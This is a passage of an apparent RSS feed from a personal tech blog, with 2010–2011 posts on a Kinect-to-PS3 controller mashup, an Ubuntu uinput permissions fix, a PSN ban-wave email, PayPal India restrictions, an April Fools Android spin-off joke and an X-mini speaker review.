&lt;p&gt;What to make of it? I don&amp;rsquo;t have anything against these guys as entrepreneurs. They have every right to import, rebrand and resell products. A huge number of people and companies do this. What I take offense to, however, is to claim that they invented these things which isn&amp;rsquo;t true and then blame the Government for not allowing them to prosper by not spending the tax money I pay for their benefits. Moreover, this not only shames other &amp;ldquo;True&amp;rdquo; Indian innovators when these fakes are discovered but also sets wrong examples for our budding engineers to choose the shortest path possible to get 15 minutes of fame and then a job instead of really doing something to make the nation proud. I&amp;rsquo;m also yet again dis-illusioned by our mainstream media who will report anything and everything under the sun just to get more eyeballs and TRP without doing any sort of fact-checks. Yes, YOU SO CALLED TECH JOURNALISTS, I am calling you out.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In the end, I will make my offer to iWebLeaf guys again as I made to them elsewhere. Prove me wrong and I&amp;rsquo;ll myself heap praises upon you and your products through my blog and all other publications that I influence. Also, I will make sure to hire you in my company with at least 5 times the salary that you are getting in TCS/CTS.&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Google to abandon Android. Spin off separate company</title><link>https://shantanugoel.com/2011/04/01/google-to-abandon-android-spin-off-separate-company/</link><pubDate>Fri, 01 Apr 2011 07:03:06 +0000</pubDate><guid>https://shantanugoel.com/2011/04/01/google-to-abandon-android-spin-off-separate-company/</guid><description>&lt;p&gt;Now, this is mind blowing. I&amp;rsquo;ve just talked to a pretty reliable source within the Android ranks of Google that Google is going to distance itself &lt;strong&gt;legally&lt;/strong&gt; from Android and spin it off in a separate company. The source said that the move can happen very soon and may be announced at Google I/O conference in May. Although details are sketchy and only very few high profile folks know about it within Google, my source says that the probable reason is increasing worries about legal aspects of Android with respect to Patents and IP law suits. Google also doesn&amp;rsquo;t want to be held responsible by any of the OEMs using Android when they are targeted by these law suits. So, they arrived at this decision &lt;strong&gt;to create a win-win situation where the new company will still be handed over instructions from MountainView through back channels but liabilities of the company are going to be very limited because they will show zero or no earnings at all.&lt;/strong&gt;&lt;/p&gt;</description><content>&lt;p&gt;Now, this is mind blowing. I&amp;rsquo;ve just talked to a pretty reliable source within the Android ranks of Google that Google is going to distance itself &lt;strong&gt;legally&lt;/strong&gt; from Android and spin it off in a separate company. The source said that the move can happen very soon and may be announced at Google I/O conference in May. Although details are sketchy and only very few high profile folks know about it within Google, my source says that the probable reason is increasing worries about legal aspects of Android with respect to Patents and IP law suits. Google also doesn&amp;rsquo;t want to be held responsible by any of the OEMs using Android when they are targeted by these law suits. So, they arrived at this decision &lt;strong&gt;to create a win-win situation where the new company will still be handed over instructions from MountainView through back channels but liabilities of the company are going to be very limited because they will show zero or no earnings at all.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I can see everyone from Cupertino to Redmond running helter skelter by this move from Google as they will lose one major weapon in their armory in their &amp;ldquo;Take no prisoners&amp;rdquo; war against Android&amp;rsquo;s rapid growth.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll keep you guys updated as I get more details on this.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: Yes, it is true&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;&amp;hellip;..that all of you saw straight through my pathetic attempt at an april fools joke :P&lt;/p&gt;</content></item><item><title>Making Kinect Work With PS3</title><link>https://shantanugoel.com/2011/03/20/making-kinect-work-with-ps3/</link><pubDate>Sun, 20 Mar 2011 15:36:51 +0000</pubDate><guid>https://shantanugoel.com/2011/03/20/making-kinect-work-with-ps3/</guid><description>&lt;p&gt;This post describes my first attempt at making Kinect work with a PS3. Microsoft&amp;rsquo;s new XBOX 360 accessory, kinect has made a powerful entry into the market, becoming the fastest selling gadget of all time. Looks like their &amp;ldquo;You are the controller&amp;rdquo; tagline is working. Of course, Sony&amp;rsquo;s &amp;ldquo;similar&amp;rdquo; accessory Move is selling well too but is far behind kinect adoption probably because nothing beats the lure of making something work with just &amp;ldquo;The Force&amp;rdquo; ;).&lt;/p&gt;</description><content>&lt;p&gt;This post describes my first attempt at making Kinect work with a PS3. Microsoft&amp;rsquo;s new XBOX 360 accessory, kinect has made a powerful entry into the market, becoming the fastest selling gadget of all time. Looks like their &amp;ldquo;You are the controller&amp;rdquo; tagline is working. Of course, Sony&amp;rsquo;s &amp;ldquo;similar&amp;rdquo; accessory Move is selling well too but is far behind kinect adoption probably because nothing beats the lure of making something work with just &amp;ldquo;The Force&amp;rdquo; ;).&lt;/p&gt;
&lt;p&gt;Now, of course, kinect doesn&amp;rsquo;t work with PS3 obviously but then if we can&amp;rsquo;t break the rules, we can at least bend them a little towards our way. I&amp;rsquo;ve  created a mashup that allows you to use kinect as an input controller for the PS3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Please note that this is pre-alpha quality software currently&lt;/strong&gt;. I haven&amp;rsquo;t updated to a lot of recent code for the below libraries and also haven&amp;rsquo;t done most of the performance/feature improvements yet. The axis performance specially needs lot of tweaking and it works well only while sitting. Putting this out purely as a proof of concept. For the things that I plan to add soon, please see the Todo section below. Follow me at &lt;strong&gt;&lt;a href="http://twitter.com/shantanugoel"&gt;@shantanugoel&lt;/a&gt;&lt;/strong&gt; for latest updates.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;VIDEO IN ACTION&lt;/strong&gt;
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/4QnWDRF9w7k?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;The program makes use of several other programs in order to provide this functionality. To compile/use it, you also need the following programs:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://github.com/OpenNI/OpenNI"&gt;OpenNI Libraries&lt;/a&gt; - To get data from kinect&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://www.openni.org/downloadfiles/"&gt;NITE Libraries&lt;/a&gt; (Choose &amp;ldquo;Middleware&amp;rdquo; on the page) - Builds on top of OpenNI to provide gesture detection etc&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://github.com/boilerbots/Sensor"&gt;PrimeSense Libraries for kinect&lt;/a&gt; - Kinect drivers to get raw data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://code.google.com/p/diyps3controller/"&gt;DIYPS3Controller&lt;/a&gt; - The main component for PS3 connection and also known as sixaxis emulator. This emulates a DS3 on the PC and send the inputs to PS3 through bluetooth.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Installation/Compilation/Usage&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Make sure that the above 4 things are installed on your machine and working fine.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Download the source of this project to the NITE Samples directory. You can even place it anywhere else but you would need to tweak the makefile to account for the changed paths.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make any changes to the source that you need.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Change the included ps3 controller config xml file and place it in one of the locations where diyps3controller can find it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run make -f kinect-ps3.mak&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The executable will be available in Samples/Bin directory of NITE.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run kinect-ps3 (without any arguments)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run emuclient (from ps3 controller software) and choose the new xml config file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&amp;ldquo;Become the controller&amp;rdquo; :)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Default Config&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Menu Profile - This is the default profile that kinect-ps3 starts with and allows to operate the PS3 menus. Moving hand in any direction will move the ps3 menus as if you were using the DPAD with those directions keys pressed. If you run out of the kinect&amp;rsquo;s watched space, then just do a backward push with your hand, bring your hand to center and then again do the backward push and continue scrolling. This is like you lift your finger up and then start dragging from edges of a laptop&amp;rsquo;s touchpad.For selecting any item, make two successive push movements with your hand without changing any x-y direction.&lt;/li&gt;
&lt;li&gt;Game Profile - This profile can be switched to by doing 3 successive backward movements of the hand while in Menu profile. Right now I&amp;rsquo;ve implemented only directional controls in game profile because I&amp;rsquo;m still struggling with multiple hands detections and skeletal tracking. A full profile will be activated soon enough. Currently, the your hand&amp;rsquo;s x/y movements and directly translated to right stick x/y movements (e.g. this is looking in different directions in various FPS games). Moving the hand towards or away from kinect (z-axis) translate to left stick y movements (e.g. this is moving fowards or backwards in most FPS games).
&lt;strong&gt;Issues/Queries/Suggestions&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please direct them to me by commenting here or emailing me at shantanu AT shantanugoel DOT com&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Coming Soon/ToDo&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;-Full Menu and Game profiles&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Skeletal tracking for better game profiles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Switching back to menu profiles from game profiles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Easier way to specify user custom profiles instead of changing code for the same&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Performance improvement for game profiles&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Full source code of the project has been released at &lt;a href="https://github.com/shantanugoel/Kinect-PS3"&gt;https://github.com/shantanugoel/Kinect-PS3&lt;/a&gt; under GNU GPL v2.&lt;/p&gt;</content></item><item><title>Ubuntu Maverick uinput Problem Solved</title><link>https://shantanugoel.com/2011/02/21/ubuntu-maverick-uinput-problem-solved/</link><pubDate>Mon, 21 Feb 2011 19:33:37 +0000</pubDate><guid>https://shantanugoel.com/2011/02/21/ubuntu-maverick-uinput-problem-solved/</guid><description>&lt;p&gt;I&amp;rsquo;ve been playing around with linux uinput infrastructure for one of my ideas (Details coming soon ;) ). &amp;ldquo;uinput&amp;rdquo; is basically a mechanism in linux that allows user space applications to inject input events (mouse/keyboard or anything else) into the system. But the problem I faced was that my programs were compiling and running without any errors but I just couldn&amp;rsquo;t see the effect happening, i.e., the events weren&amp;rsquo;t getting injected into the system. I am using Ubuntu Maverick Meerkat (10.10) and when I searched on the net, I saw various other folks are facing the same issue. I finally got it working and here is how.&lt;/p&gt;</description><content>&lt;p&gt;I&amp;rsquo;ve been playing around with linux uinput infrastructure for one of my ideas (Details coming soon ;) ). &amp;ldquo;uinput&amp;rdquo; is basically a mechanism in linux that allows user space applications to inject input events (mouse/keyboard or anything else) into the system. But the problem I faced was that my programs were compiling and running without any errors but I just couldn&amp;rsquo;t see the effect happening, i.e., the events weren&amp;rsquo;t getting injected into the system. I am using Ubuntu Maverick Meerkat (10.10) and when I searched on the net, I saw various other folks are facing the same issue. I finally got it working and here is how.&lt;/p&gt;
&lt;p&gt;First problem I came across was that I was using &amp;ldquo;/dev/input/uinput&amp;rdquo; path in my programs but it seems it is changed to &amp;ldquo;/dev/uinput&amp;rdquo; in Ubuntu. Changing this got me past some runtime errors I was getting.&lt;/p&gt;
&lt;p&gt;Then I thought that the issue was because uinput module wasn&amp;rsquo;t getting loaded because even after specifically doing a modprobe, I still couldn&amp;rsquo;t see it loaded when I did lsmod. This was strange because the /dev/uinput node was present. On looking under /lib, I couldn&amp;rsquo;t even find the uinput.ko file. But then I found that the reason for this is that in Ubuntu Maverick, uinput is not a module anymore. It is built into the kernel now. (See this &lt;a href="https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/584812"&gt;launchpad bug&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;So, having figured that the above was a false alarm, I was at a loss how to explain this. But then I tried just changing the permissions of the uinput node to 0666 (i.e. writable by all users) and ran my program without sudo and it worked like a charm. Searching for sudo along with uinput lead me to &lt;a href="https://bugs.launchpad.net/ubuntu/+source/sudo/+bug/609645"&gt;these&lt;/a&gt; &lt;a href="http://www.sudo.ws/bugs/show_bug.cgi?id=388"&gt;bugs&lt;/a&gt; which confirms that the problem is because of this only. So, if you are facing this issue, you can either change the uinput node permissions or install the sudo patch described in the bug discussion page.&lt;/p&gt;
&lt;p&gt;Let me know if this worked for you as well :)&lt;/p&gt;</content></item><item><title>PSN Ban-Wave Phishing Scam</title><link>https://shantanugoel.com/2011/02/17/psn-ban-wave-phishing-scam/</link><pubDate>Thu, 17 Feb 2011 09:25:24 +0000</pubDate><guid>https://shantanugoel.com/2011/02/17/psn-ban-wave-phishing-scam/</guid><description>&lt;p&gt;**Update: **I did some more digging and the email and the links actually seem to be legitimate. Good news for many, but bad for those who actually got this email.&lt;/p&gt;
&lt;p&gt;BEWARE!! In wake of the recent announcement of a potential Playstation Network ban wave by Sony for the people who are hacking it&amp;rsquo;s gaming console PS3, some nefarious elements seem to be using this as an opportunity to pry on your PSN passwords. Many folks are receiving emails like below:&lt;/p&gt;</description><content>&lt;p&gt;**Update: **I did some more digging and the email and the links actually seem to be legitimate. Good news for many, but bad for those who actually got this email.&lt;/p&gt;
&lt;p&gt;BEWARE!! In wake of the recent announcement of a potential Playstation Network ban wave by Sony for the people who are hacking it&amp;rsquo;s gaming console PS3, some nefarious elements seem to be using this as an opportunity to pry on your PSN passwords. Many folks are receiving emails like below:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Notice: Unauthorized circumvention devices for the PlayStation®3 system have been recently released by hackers for the PlayStation®3 system. These devices permit the use of unauthorized or pirated software. Use of such devices or software violates the terms of your &amp;ldquo;System Software License Agreement for the PlayStation®3 System&amp;rdquo; and the &amp;ldquo;Terms of Services and User Agreement&amp;rdquo; for the PlayStation®Network/Qriocity and its Community Code of Conduct provisions.   In addition, copying or playing pirated software is a violation of International Copyright Laws. A circumvention device and/or unauthorized or pirated software currently resides on your PlayStation®3 system. Immediately cease use and remove all circumvention devices and delete all unauthorized or pirated software from your PlayStation®3 system. Failure to do so will result in termination of your access to the PlayStation®Network and access to Qriocity services through your&lt;/p&gt;
&lt;p&gt;PlayStation®3 system.&lt;/p&gt;
&lt;p&gt;This email has been delivered from a send-only address.   Please do not reply to this message. If you have any questions, contact Consumer Services using the following link: &lt;a href="http://playstation.i"&gt;http://playstation.i&lt;/a&gt;&amp;hellip;HvEHWTPlTnHqJPH&lt;/p&gt;
&lt;p&gt;LEGAL&lt;/p&gt;
&lt;p&gt;&amp;ldquo;PlayStation&amp;rdquo;, &amp;ldquo;PLAYSTATION&amp;rdquo;, and the &amp;ldquo;PS&amp;rdquo; Family logo are registered trademarks of Sony Computer Entertainment LLC.&lt;/p&gt;
&lt;p&gt;2011 Sony Computer Entertainment America LLC.&lt;/p&gt;
&lt;p&gt;919 E. Hillsdale Blvd., Foster City, CA 94404&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I have intentionally removed the complete link in the email to save anyone else from falling into the trap. Basically this email (and it&amp;rsquo;s many variations) take you to a site which looks like Sony US site but it is not. So, do not put your password into it. If you have already clicked on the link, then change your psn password and remove any credit card info linked to it, immediately.&lt;/p&gt;</content></item><item><title>Paypal India Goes Even More Downhill. Get Your Money Out</title><link>https://shantanugoel.com/2011/01/28/paypal-india-goes-even-more-downhill-get-your-money-out/</link><pubDate>Fri, 28 Jan 2011 19:30:03 +0000</pubDate><guid>https://shantanugoel.com/2011/01/28/paypal-india-goes-even-more-downhill-get-your-money-out/</guid><description>&lt;p&gt;Just received an email from Paypal India. The main parts are these:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;With effect from 1 March 2011&lt;/strong&gt;, you are required to comply with the requirements set out in the notification of the Reserve Bank of India governing the processing and settlement of export-related receipts facilitated by online payment gateways (&amp;ldquo;RBI Guidelines&amp;rdquo;).
In order to comply with the RBI Guidelines, our user agreement in India will be amended for the following services as follows:&lt;/p&gt;</description><content>&lt;p&gt;Just received an email from Paypal India. The main parts are these:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;With effect from 1 March 2011&lt;/strong&gt;, you are required to comply with the requirements set out in the notification of the Reserve Bank of India governing the processing and settlement of export-related receipts facilitated by online payment gateways (&amp;ldquo;RBI Guidelines&amp;rdquo;).
In order to comply with the RBI Guidelines, our user agreement in India will be amended for the following services as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Any balance in and all future payments into your PayPal account may not be used to buy goods or services and must be transferred to your bank account in India within 7 days from the receipt of confirmation from the buyer in respect of the goods or services; and&lt;/li&gt;
&lt;li&gt;Export-related payments for goods and services into your PayPal account may not exceed US$500 per transaction.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;So no more buying stuff. It is only useful for getting payments now (and that too &amp;lt;500$ per transaction). I don&amp;rsquo;t know what to make of this but my advice is this: &amp;ldquo;&lt;strong&gt;Get your money out of there while you still can&lt;/strong&gt;&amp;rdquo;. There is no telling what PayFoe will do next (or will be made to do by our sad Government).&lt;/p&gt;</content></item><item><title>Android/iPhone Beware: WP7 Phones have already sold 12 million devices</title><link>https://shantanugoel.com/2010/12/04/androidiphone-beware-wp7-phones-have-already-sold-12-million-devices/</link><pubDate>Sat, 04 Dec 2010 19:16:19 +0000</pubDate><guid>https://shantanugoel.com/2010/12/04/androidiphone-beware-wp7-phones-have-already-sold-12-million-devices/</guid><description>&lt;p&gt;According to TechCrunch, that is. TC has a post on its blog right now (from none other than Michael Arrington) that says &lt;a href="http://techcrunch.com/2010/12/04/toddlers-pick-iphone-over-windows-7-phones-10-1/"&gt;Toddlers Pick iPhone Over Windows 7 Phones 10-1&lt;/a&gt;. The article says that this is because a toddlers&amp;rsquo; app maker&amp;rsquo;s notes that their app sold 71.5 apps per day on average on the iOS app store, while the number was 7.5 on the WP7 marketplace. Go read the article (it&amp;rsquo;s pretty short) and come back to read the below.&lt;/p&gt;</description><content>&lt;p&gt;According to TechCrunch, that is. TC has a post on its blog right now (from none other than Michael Arrington) that says &lt;a href="http://techcrunch.com/2010/12/04/toddlers-pick-iphone-over-windows-7-phones-10-1/"&gt;Toddlers Pick iPhone Over Windows 7 Phones 10-1&lt;/a&gt;. The article says that this is because a toddlers&amp;rsquo; app maker&amp;rsquo;s notes that their app sold 71.5 apps per day on average on the iOS app store, while the number was 7.5 on the WP7 marketplace. Go read the article (it&amp;rsquo;s pretty short) and come back to read the below.&lt;/p&gt;
&lt;p&gt;As I posted in the comments there, the &amp;ldquo;article&amp;rdquo; has fail written all over it. Points to note:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Moms make the choice, not toddlers&lt;/li&gt;
&lt;li&gt;The sample set is too small&lt;/li&gt;
&lt;li&gt;iPhone has been selling for 3 years and WP7 for like 1 month..so D.U.H&lt;/li&gt;
&lt;li&gt;The iPhone apps also sell on iPod/iPad.&lt;/li&gt;
&lt;li&gt;It&amp;rsquo;s not &amp;ldquo;Windows 7 phones&amp;rdquo;, its &amp;ldquo;Windows Phone 7&amp;rdquo; lol. One of the most prominent tech blogs can&amp;rsquo;t even get the name right.&lt;/li&gt;
&lt;li&gt;Acc to TechCrunch, &amp;ldquo;&lt;em&gt;Data like this hints at the total run rate for Win7 phones&lt;/em&gt;&amp;rdquo;, so basically WP7 has already sold around 12 million already (Total iOS devices sold till now is around 120mn acc to Jobs). That&amp;rsquo;s mighty impressive for a one month run.. :P&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On a serious note, I didn&amp;rsquo;t expect this post to be coming from Mike. Or maybe this is like that recent editorial plagiarism scandal where the newspaper editor said that he was tired so he got it written by his juniors.. :P&lt;/p&gt;</content></item><item><title>Ad-Free (Paid) Angry Birds For Android</title><link>https://shantanugoel.com/2010/12/02/ad-free-paid-angry-birds-android/</link><pubDate>Thu, 02 Dec 2010 13:28:52 +0000</pubDate><guid>https://shantanugoel.com/2010/12/02/ad-free-paid-angry-birds-android/</guid><description>&lt;p&gt;Rovio Mobile has been pretty considerate for the Android lovers and has released their Angry Birds game for free on the Android market. Many people love it but quite a few are annoyed by it because Rovio chose to monetize it by in-game advertisements, and that too placed at awkward places which can hinder the gameplay. Many users have also reported that they are being forced to view video ads as well these days. Another drawback is that if there is no network connection (e.g. if you are in a no-signal area, roamin, in-flight, or just don&amp;rsquo;t have a data plan), then the game won&amp;rsquo;t run at all. So far all the queries about this or pleas to have a paid app have been skirted around by Rovio. But this will soon be history.&lt;/p&gt;</description><content>&lt;p&gt;Rovio Mobile has been pretty considerate for the Android lovers and has released their Angry Birds game for free on the Android market. Many people love it but quite a few are annoyed by it because Rovio chose to monetize it by in-game advertisements, and that too placed at awkward places which can hinder the gameplay. Many users have also reported that they are being forced to view video ads as well these days. Another drawback is that if there is no network connection (e.g. if you are in a no-signal area, roamin, in-flight, or just don&amp;rsquo;t have a data plan), then the game won&amp;rsquo;t run at all. So far all the queries about this or pleas to have a paid app have been skirted around by Rovio. But this will soon be history.&lt;/p&gt;
&lt;p&gt;One of my friends at work received an email recently from Rovio announcing the new &amp;ldquo;Seasons&amp;rdquo; edition for Christmas and Halloween levels. But that is not the important thing, something else is. Read this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Angry Birds Seasons Available For Android&lt;/p&gt;
&lt;p&gt;Today, we bring you Angry Birds Seasons, a special edition spin-off of Angry Birds!&lt;/p&gt;
&lt;p&gt;Season?s Greedings consists of 25 daily surprises for fans of Angry Birds to enjoy while counting down the days until Christmas.&lt;/p&gt;
&lt;p&gt;Included in the game is also the 45-level Halloween special edition, now packaged as a separate episode called Trick Or Treat.&lt;/p&gt;
&lt;p&gt;Angry Birds Seasons is available for Android devices through GetJar and Android Market.&lt;/p&gt;
&lt;p&gt;Payment option and performance  upgrades to follow&lt;/p&gt;
&lt;p&gt;We are still working on two things for the Angry Birds games on Android:&lt;/p&gt;
&lt;p&gt;First, we are bringing a graphically lighter option in the game, to enable better performance on older phones.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Second, we will introduce a payment system to opt-out of advertising.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Both of these upgrades will be included in later updates.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So as you can see, Rovio is about to bring out a paid option for Android folks as well so that we can kill those pigs in peace :)&lt;/p&gt;</content></item><item><title>Review of X-Mini Capsule Happy Speakers</title><link>https://shantanugoel.com/2010/11/28/review-of-x-mini-capsule-happy-speakers/</link><pubDate>Sun, 28 Nov 2010 16:22:18 +0000</pubDate><guid>https://shantanugoel.com/2010/11/28/review-of-x-mini-capsule-happy-speakers/</guid><description>&lt;p&gt;I received a few portable speakers as review pieces from &lt;a href="http://www.x-mini.com/"&gt;x-mini&lt;/a&gt; a few days ago. I tried all of them but thought of posting a review of the most interesting model out of the lot, which is the &lt;strong&gt;X-mini Happy&lt;/strong&gt;. Would also be posting a review soon of one more model that I liked quite a bit which is the X-mini Max II.&lt;/p&gt;
&lt;p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/x-mini-capsule-speakers-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/x-mini-happy-capsule-speakers-box-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In The Package&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The package included the following things:&lt;/p&gt;</description><content>&lt;p&gt;I received a few portable speakers as review pieces from &lt;a href="http://www.x-mini.com/"&gt;x-mini&lt;/a&gt; a few days ago. I tried all of them but thought of posting a review of the most interesting model out of the lot, which is the &lt;strong&gt;X-mini Happy&lt;/strong&gt;. Would also be posting a review soon of one more model that I liked quite a bit which is the X-mini Max II.&lt;/p&gt;
&lt;p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/x-mini-capsule-speakers-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/x-mini-happy-capsule-speakers-box-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In The Package&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The package included the following things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The X-Mini Happy Capsule Speaker&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;USB Charging Cable&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A soft cloth pouch for carrying&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A set of earphones&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;User Manual&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The manual mentions that a microSD card should also be present but I didn&amp;rsquo;t find any in the box.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The USB charging cable comes with a 3.5mm cord attached to it as well. This led me to believe that it could be one of those charge and play type cable which could carry sound over it as well but that wasn&amp;rsquo;t the case and only the USB charging part was usable. Perhaps they bundled the cable from another one of their models which allows this.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Things I liked:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inbuilt retractable 3.5 mm cord&lt;/strong&gt;. Really loved this as I hate carrying so many cables with me while travelling. With this cable, you can easily connect it to any of your sound sources with a 3.5 mm slot (e.g. laptop/media player/phone etc) for instant sound gratification and then stow away the cable at the bottom when not needed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inbuilt SD card slot&lt;/strong&gt;. You can insert an SD card filled with MP3s into this slot and play those songs from the speaker directly without needing any separate media player. This is an awesome feature. Playback controls are provided on the side and overlap with the volume controls. The speaker supports upto 8GB cards and you can copy songs to-and-fro from the card without removing it from the speakers. The supplied USB cable can also be used to access the speaker in mass storage mode to talk to the SD card.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Headphone out (or as they call it &amp;ldquo;BuddyJack&amp;rdquo;)&lt;/strong&gt;. You can connect your headphones to the speaker and listen to songs. This port has three advantages. First is that you don&amp;rsquo;t need to fiddle with your laptop/media player&amp;rsquo;s port if you want to use your headphones for sometime instead of using these speakers. Second is that you can use this speaker as a media player itself by inserting an SD card into the speaker as listed above. Lastly, you can use this port to chain multiple X-Mini Happy speakers together in order to get louder output.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;InBuilt Rechargable Battery Pack&lt;/strong&gt;. This is another good feature. Many of the portable speakers that I tried draw their power from the USB port. This is good enough to use with laptops but not for media players/phones. The X-Mini Happy speakers have built in rechargable batteries that can be charged from the USB port. The user manual states that the battery should run for around 5 hours when fully charged. In my testing, this was farely accurate and across multiple tests, they ran for around 4-5 hours in general with continuous playback.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**- Sound Quality. **Volume wise, these speakers can get fairly loud. They were good enough to fill a fairly sized room and I was able to watch a movie by sitting at a diagonally opposite end (around 15 feet) without missing any dialogs. The speakers also had fairly good bass (low frequency) reproduction for their size. This could be due to their unique vacuum resonator (a rubbery tube like design which can be expanded when using the speakers and then compressed to save space while travelling). They were also ok in mid and high frequencies but the thing to be noted here is that for a portable speaker, they are better than anything I have come across so far.&lt;/p&gt;
&lt;p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/x-mini-happy-capsule-speakers-package-contents-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/uploads/x-mini-happy-capsule-speaker-closed-thumb.jpg" /&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Drawbacks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The only drawback is that this is a single speaker unit so the sound output is monaural. This is also the reason that I prefer the X-Mini Max II capsule speakers more than this (review coming soon) although they don&amp;rsquo;t come with as many bells and whistles as the Happy capsule speakers. Apart from that, a minor niggle is that the supplied earphones could be better to round out the package.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
